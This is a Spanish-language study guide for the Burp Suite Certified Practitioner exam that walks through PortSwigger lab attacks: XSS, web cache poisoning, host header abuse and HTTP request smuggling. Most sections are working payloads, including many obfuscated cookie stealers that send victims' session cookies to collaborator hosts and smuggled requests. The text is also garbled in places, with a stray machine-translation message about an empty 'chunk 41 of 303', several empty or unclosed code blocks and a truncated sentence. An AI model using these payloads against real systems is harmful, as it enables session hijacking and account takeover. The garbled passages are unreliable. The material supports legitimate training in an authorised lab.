>Solicitud XInclude fuera de banda, se necesita un DTD alojado para leer el archivo local.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

>Codifica por URL los caracteres clave.  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>Usa la cookie del usuario administrador para acceder al panel de administración reemplazándola en la sesión actual del navegador.  

[PortSwigger Lab: Escaneo de estructuras de datos no estándar](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# Acceso inicial  
  
# Descubrimiento de contenido  

>La enumeración del objetivo comienza con el fuzzing de directorios y archivos web. Usa las herramientas de engagement de Burp, la opción de descubrimiento de contenido para encontrar rutas y archivos ocultos, o usa `FFUF` para enumerar directorios y archivos web. Revisar `robots.txt` o `sitemap.xml` puede revelar contenido.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[Laboratorio de PortSwigger: Divulgación de información en el historial de control de versiones](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>Siempre abre el `source code` para buscar comentarios de desarrolladores que revelen archivos o rutas ocultas. El siguiente ejemplo conduce a [deserialización de tokens de symphony](#deserialization).  

![Comentario de depuración de código DEV deserialización](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## XSS basado en DOM  

[Indicadores de XSS DOM](#identify-dom-xss)  
[XSS DOM identificado con DOM Invader](#dom-invader)  
[XSS DOM AngularJS](#vuln-angularjs)  
[XSS DOM document.write en select](#doc-write-location-search)  
[XSS DOM mensajes web JSON.parse](#dom-xss-jsonparse-web-messages)  
[XSS DOM AddEventListener URL de JavaScript](#dom-xss-addeventlistener-javascript-url)  
[XSS DOM AddEventListener mensaje de ads](#dom-xss-addeventlistener-ads-message)  
[XSS DOM Eval reflejado que roba cookies](#reflected-dom-xss)  
[XSS DOM Cookie LastviewedProduct](#dom-xss-lastviewedproduct-cookie)  

### Identificar XSS DOM  

>Las vulnerabilidades de XSS basado en DOM surgen cuando JavaScript toma datos de una fuente controlable por el atacante, como la URL, y pasa código a un sumidero (sink) que admite la ejecución dinámica de código. 
>Prueba qué caracteres permiten escapar del punto de inyección del `source code`, usando la cadena del fuzzer a continuación.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

>[Payload de robo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) usando `on.constructor` que puede colocarse en un iframe, alojado en un servidor de explotación, lo que resulta en el envío de la cookie de sesión de la víctima a Burp Collaborator.  
>[Hoja de referencia de PortSwigger para cross site scripting](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [payload de robo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) en un sumidero `document.write` usando la fuente `location.search` dentro de un elemento `<select>`. Esto puede enviarse a la víctima mediante el servidor de explotación en un `

![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[Laboratorio de PortSwigger: DOM XSS mediante mensajes web y JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader se utiliza para identificar y probar DOM XSS mediante mensajes web  

![DOM Invader identifica mensajes web](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>Reproduce el mensaje postMessage usando DOM Invader después de modificar los datos JSON.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

Una vez que la cookie de la víctima se actualiza, el registro del servidor de explotación captura el valor secreto de su cookie.  

>Con la gran ayuda de ***ShehmeerAbidRajput*** actualicé este laboratorio con su payload de robo de cookies proporcionado.  

[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## Cross Site Scripting  

[Recursos XSS](#xss-resources)  
[Identificar etiquetas permitidas](#identify-allowed-tags)  
[Evadir etiquetas bloqueadas](#bypass-blocked-tags)  
[Asignar protocolo XSS](#xss-assign-protocol)  
[Etiquetas personalizadas no bloqueadas](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[XSS de cadena reflejada](#reflected-string-xss)  
[Escape adicional en cadena reflejada](#reflected-string-extra-escape)  
[Escape de sandbox de AngularJS](#angularjs-sandbox-escape)  
[XSS de plantilla literal](#xss-template-literal)  
[XSS vía JSON en EVAL](#xss-via-json-into-eval)  
[XSS almacenado](#stored-xss)  
[XSS DOM almacenado](#stored-dom-xss)  
[XSS en carga SVG](#xss-svg-upload)  
  
### Recursos XSS  

>Páginas de recursos XSS para consultar payloads de **etiquetas** y **eventos**.   

+ [Hoja de referencia de Cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [Notas de estudio de HackTheBox CPTS sobre XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>La herramienta CSP Evaluator sirve para comprobar si hay una política de seguridad de contenido activa para mitigar ataques XSS. Por ejemplo, si falta `base-uri`, esta vulnerabilidad permitirá al atacante usar el método de explotación alternativo descrito en [Escalar self-XSS almacenado](#upgrade-stored-self-xss).  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>Cuando la longitud máxima del campo de entrada es de solo 23 caracteres, usa este recurso para **Tiny XSS Payloads**.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>Establece una cookie de prueba no segura en el navegador usando la consola de herramientas de desarrollo del navegador para usar durante las pruebas de [payloads de robo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) para XSS de prueba de concepto.```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

I don't see any content to translate. The input after "INPUT:" is empty. Please provide the Markdown content for chunk 41 of 303.```html
"><svg><animatetransform onbegin=alert(1)>

>El envío de los payloads anteriores puede generar un mensaje de respuesta, ***"Tag is not allowed"*** debido a que el Web Application Firewall (WAF) bloquea las inyecciones.
>Luego ***identifique*** las etiquetas permitidas usando la [Metodología de PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).  

>Codificadores y decodificadores en línea de URL y Base64  

+ [Decodificar y codificar URL](https://www.urldecoder.org/)  
+ [Decodificar y codificar BASE64](https://www.base64encode.org/)  
  
>Este laboratorio ofrece una excelente **metodología** para ***identificar*** etiquetas HTML y eventos permitidos para crear un POC XSS.  

>Aloje el código **iframe** en el servidor de exploit y entregue el enlace de exploit a la víctima.```html

>Coloque el payload anterior en el servidor de explotación e inserte la URL con el valor de búsqueda en un ```iframe``` antes de entregarlo a la víctima en el bloque de código siguiente.```html

![Ubicación del protocolo XSS](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[Laboratorio PortSwigger: XSS reflejado en contexto HTML sin codificación](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### Etiquetas personalizadas no bloqueadas  
  
>La aplicación responde con el mensaje ***"Tag is not allowed"*** al intentar insertar payloads XSS, pero si creamos una etiqueta personalizada, esta se elude.```html
<xss+id=x>#x';

>**Nota:** La etiqueta personalizada con el ID ```x```, que contiene un controlador de eventos **onfocus** que activa la función ```document.location```. El carácter **HASH** `#` al final de la URL enfoca este elemento tan pronto como se carga la página, haciendo que se llame al payload. Aloja el script del payload en el servidor de explotación en etiquetas ```script``` y envíalo a la víctima. A continuación se muestra el mismo payload pero en formato **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

>Nota: si la cookie es segura con el flag **HttpOnly** habilitado, la cookie no puede ser robada mediante XSS.  

>El payload de PortSwigger Lab ejecuta print.```JavaScript

>Cambiando el payload a un ladrón de cookies que entrega el token de sesión a Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

>Servidor de explotación que aloja vulnerabilidad reflejada en el término de búsqueda que se envía a la víctima para obtener su cookie de sesión.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

>Usando una sola **barra invertida**, comilla simple y **punto y coma** escapamos de la variable de cadena de JavaScript; luego, usando comillas invertidas para encerrar la ruta ```document.location```, permitimos que el ladrón de cookies evite la protección de la aplicación.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

>Payload de Collaborator ***ladrón de cookies***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

>Script de Python para convertir cualquier payload a valores decimales ASCIII:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

![literal de plantilla xss](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>Gracias a ***Adrián Gyurácz***, por proporcionar un bypass increíble donde no logré obtener un ladrón de cookies funcional que eludiera todos los filtros de este laboratorio.  

>***Adrián Gyurácz*** encontró el siguiente artículo de investigación de Portswigger que condujo a la solución:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### Partiendo de lo anterior, su payload:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

[secjuice: Bypass filtros XSS usando variables globales de JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>Abajo está el [payload principal para robar cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) antes de codificarlo en BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

>Probar el payload en nuestra propia cookie de sesión en la función de búsqueda.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

>Alojar el `IFRAME` en el servidor exploit da un mensaje de **error**: "refused to connect to target". En su lugar, aloja el payload en el servidor exploit entre etiquetas `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

>Las siguientes entradas de registro muestran las solicitudes realizadas al servidor de explotación, y a partir de los registros podemos ***identificar*** que `/img` y `/video` de las etiquetas anteriores fueron permitidos en la aplicación y realizaron solicitudes cuando se accedió a ellos.  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>Cross-site Scripting guardado en el comentario de una entrada de blog. Este payload de robo de cookies luego envía la cookie de sesión de la víctima a los registros del servidor de explotación.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

#### Entrada de blog Stored XSS  

>Ladrón de cookies de entradas de blog Stored XSS que envía la cookie del documento al servidor de explotación.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

>[IPPSEC YouTube usando el HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), mostrando el código JavaScript de `payload.js` de cómo usa `fetch` y aprende JavaScript.  

[Laboratorio PortSwigger: Explotando cross-site scripting para robar cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  
  
#### Mejorar el self-XSS almacenado  

>Comentario de blog con **self-XSS almacenado**, mejorando el payload para robar información de la víctima desde el DOM. La función **editar contenido** refleja la entrada en la etiqueta `<script>`. El token CSRF para **escribir comentario** es el mismo que el de las funciones **editar contenido**. El payload siguiente usa la función **escribir comentario** para hacer que la víctima cree una entrada de blog en su propio blog con nuestro contenido malicioso.
>El carácter `a` se añade para escapar del carácter `#` del `source code` inicial de la aplicación.
>El `source code` siguiente en la entrada de blog es el exploit completo para robar la información de la víctima.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

>Entregar exploit, al enviar a la víctima una URL que haga referencia a la entrada de blog anterior, se activará XSS en su contexto.  

[intigriti - Mejora de Self-XSS - Solución al Desafío XSS del 22 de diciembre](https://youtu.be/FowbZ8IlU7o)  

>Exploit alternativo usando inyección de HTML en la página de entrada de blog Edit Content, ***identificado*** usando [XSS Resources CSP check](#xss-resources).```
<base href="https://Exploit.net">

>El payload modificado del laboratorio de PortSwigger asigna la función `document.location` a la variable `defaultAvatar` la próxima vez que se carga la página, porque el sitio utiliza DOMPurify, que permite el uso del protocolo `cid:`, que no codifica en URL las comillas dobles.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

>El payload anterior se almacena y cualquier usuario que visite el blog de comentarios hará que su cookie de sesión sea robada y enviada al colaborador.  

![comentarios json de DOM-XSS almacenado](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>Payload del Laboratorio PortSwigger: `<>`.  

[Laboratorio PortSwigger: DOM XSS almacenado](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## Envenenamiento de caché web  

[Encabezado sin clave](#unkeyed-header)  
[Utm_content sin clave](#unkeyed-utm_content)  
[Camuflaje de utm_content](#cloaking-utm_content)  
[Envenenamiento de solicitud ambigua](#poison-ambiguous-request)  
[Envenenamiento de caché con múltiples encabezados](#cache-poison-multiple-headers)  

### Encabezado sin clave  

>El objetivo utiliza JavaScript **tracking.js**,  
>y es vulnerable a la cabecera **```X-Forwarded-Host```** o **```X-Host```** que redirige la ruta,  
>permitiendo el robo de cookies mediante el envenenamiento de la caché.  

>***Identifica*** las cabeceras de caché web en la respuesta y el script tracking.js en el código fuente de la página.  
>Explota la vulnerabilidad alojando JavaScript e inyectando la cabecera para envenenar la caché del objetivo y redirigir a la víctima que lo visita.  

![Revisión del `código fuente` de Tracking](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>El cuerpo envía la cookie de sesión al servicio de colaboración.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

>El payload anterior se almacena en caché y, cuando la víctima visita el objetivo, la cookie se envía al colaborador de Burp.  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[Laboratorio de PortSwigger: Envenenamiento de caché web mediante un parámetro de consulta sin clave](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### Ocultando utm_content  

>La extensión Param Miner al realizar un `Bulk scan > Rails parameter cloaking scan` ***identificará*** la vulnerabilidad automáticamente. Manualmente se puede identificar añadiendo `;` para agregar otro parámetro a `utm_content`; la caché lo trata como un único parámetro. Esto significa que el parámetro adicional también queda excluido de la clave de caché.  
>El `código fuente` de `/js/geolocate.js?callback=setCountryCookie` se invoca en todas las páginas y ejecuta la función `callback`.  

>El parámetro `callback` está incluido en la clave, por lo que no se puede envenenar la caché para el usuario víctima, pero al combinar un parámetro duplicado con `utm_content`, queda excluido y la caché puede ser envenenada.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

>A continuación se muestra el payload [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

>En el servidor de explotación configure un archivo con la misma ruta a la que apuntan las llamadas a ```/resources/js/tracking.js```; este contendrá el payload. Coloque el código del payload de JavaScript a continuación para realizar un robo de cookies.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

![x-forwarded-scheme not https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>En el servidor de explotación, cambia la ruta del archivo a ```/resources/js/tracking.js```  
>y luego actualiza el encabezado ```X-Forwarded-Host: EXPLOIT.net``` de la solicitud envenenada.  
>Coloca el payload en el cuerpo del servidor de explotación.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

>La función que se llama en la respuesta al pasar un parámetro callback duplicado se refleja. Observa que en la respuesta la clave de caché aún se deriva del parámetro callback original en la línea de solicitud GET.  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>No pude hacer funcionar el payload de robo de cookies......  

[Laboratorio de PortSwigger: Envenenamiento de caché web mediante una solicitud fat GET](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  

-----

## Cabeceras de Host  

[Falsificar dirección IP](#spoof-ip-address)  
[Estado de conexión HOST](#host-connection-state)  
[SSRF basado en enrutamiento de Host](#host-routing-based-ssrf)  
[SSRF mediante análisis defectuoso de la solicitud Host](#absolute-get-url--host-ssrf)  

### Falsificar dirección IP  

>***Identifica*** que se admiten cabeceras HOST modificadas,  
>lo que te permite falsificar tu dirección IP y omitir la protección de fuerza bruta basada en IP  
>o ataques de redirección para realizar envenenamiento de ***restablecimiento de contraseña***.  
  
>Incluye las siguientes cabeceras `X- ` y cambia el parámetro username en la solicitud de restablecimiento de contraseña a `Carlos` antes de enviar la solicitud.  
>En el examen BSCP, si usaste este exploit, entonces significa que no has usado una vulnerabilidad que requiera interacción del usuario y te permita usar una vulnerabilidad de interacción para obtener acceso a la etapa 3 como administrador mediante la función `Deliver exploit to victim` del servidor de exploits.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

>La siguiente solicitud es la segunda pestaña en la secuencia de grupo de solicitudes.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

>Algunos servidores que sí admiten el encabezado `Transfer-Encoding` pueden ser inducidos a no procesarlo si el encabezado está **ofuscado** de alguna manera.

>En el menú Repeater asegúrate de que la opción **"Update Content-Length"** esté desmarcada.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

>Calculando la longitud de la solicitud de contrabando TE.CL (Transfer-Encoding / Content-Length) en **HEXADECIMAL** y el payload se encuentra entre la longitud hexadecimal de **71** y el **CERO** de terminación, sin incluir el CERO ni el `\r\n` anterior en la línea sobre el CERO, como parte de la longitud. El **content-length** de la solicitud POST inicial se establece manualmente.  
  
![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)  

>Al enviar `/admin/delete?username=carlos` para eliminar al usuario, el valor hexadecimal de la codificación de transferencia se cambia de `71` a `88` para incluir el tamaño adicional de la solicitud contrabandeada.  

[Laboratorio de PortSwigger: Explotación del contrabando de solicitudes HTTP para evadir los controles de seguridad del front-end, vulnerabilidad TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)  

### CL.TE multiCase - Admin bloqueado  

>Al intentar acceder a la ruta de la URL del portal `/admin`, obtenemos el mensaje de filtro `Path /admin is blocked`. El escáner HTTP Request Smuggler ***identifica*** la vulnerabilidad como `CL.TE multiCase (delayed response)`.  

>Para acceder al panel de administración, envíe la siguiente solicitud dos veces; agregar el segundo encabezado ```Content-Length: 10``` evita que el encabezado HOST entre en conflicto con la primera solicitud.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

![Explotando el contrabando de solicitudes HTTP con el valor content-length](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>No hay nueva línea al final de la solicitud POST contrabandeada anterior^^.  

>Visite la **publicación** del blog para ver si hay un comentario que contenga la solicitud de un usuario. Tenga en cuenta que el ataque solo tendrá éxito cuando el usuario víctima navegue por el sitio web objetivo. Copie el encabezado Cookie del usuario del comentario de la publicación del blog y utilice la cookie para acceder a la cuenta de la víctima.  
  
![Explotando el contrabando de solicitudes HTTP para capturar las solicitudes de otros usuarios](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[Laboratorio de PortSwigger: Explotando el contrabando de solicitudes HTTP para capturar las solicitudes de otros usuarios](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - Ladrón de cookies User-Agent  
  
>***Identifique*** que el valor UserAgent se almacena en la solicitud GET que carga el formulario de comentarios del blog, y se almacena en el valor oculto **User-Agent**. Explotando el contrabando de solicitudes HTTP para entregar XSS reflejado usando el valor **User-Agent** que luego se coloca en una solicitud contrabandeada.  

>Payload básico de Cross Site Scripting que escapa del documento HTML.```JavaScript
 "/><script>alert(1)</script>

>Contrabandea esta solicitud XSS al servidor back-end, de modo que explote al siguiente visitante. Coloca el ladrón de cookies XSS en la cabecera **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

![http2 smuggle via crlf inject](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[Laboratorio de PortSwigger: contrabando de solicitudes HTTP/2 mediante inyección CRLF](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[Demostración en YouTube de contrabando de solicitudes HTTP/2 mediante inyección CRLF](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>El objetivo es vulnerable al contrabando de solicitudes porque el servidor front-end degrada las solicitudes HTTP/2 incluso si tienen una longitud ambigua. Roba la cookie de sesión del administrador que visita el objetivo. La extensión de Burp, **HTTP Request Smuggler**, ***identificará*** la vulnerabilidad como una vulnerabilidad HTTP/2 TE desync v10a (H2.TE).  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>Nota: Cambia a **HTTP/2** en los atributos de solicitud del Inspector y habilita la opción **Allow HTTP/2 ALPN override** en el menú de repetición.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

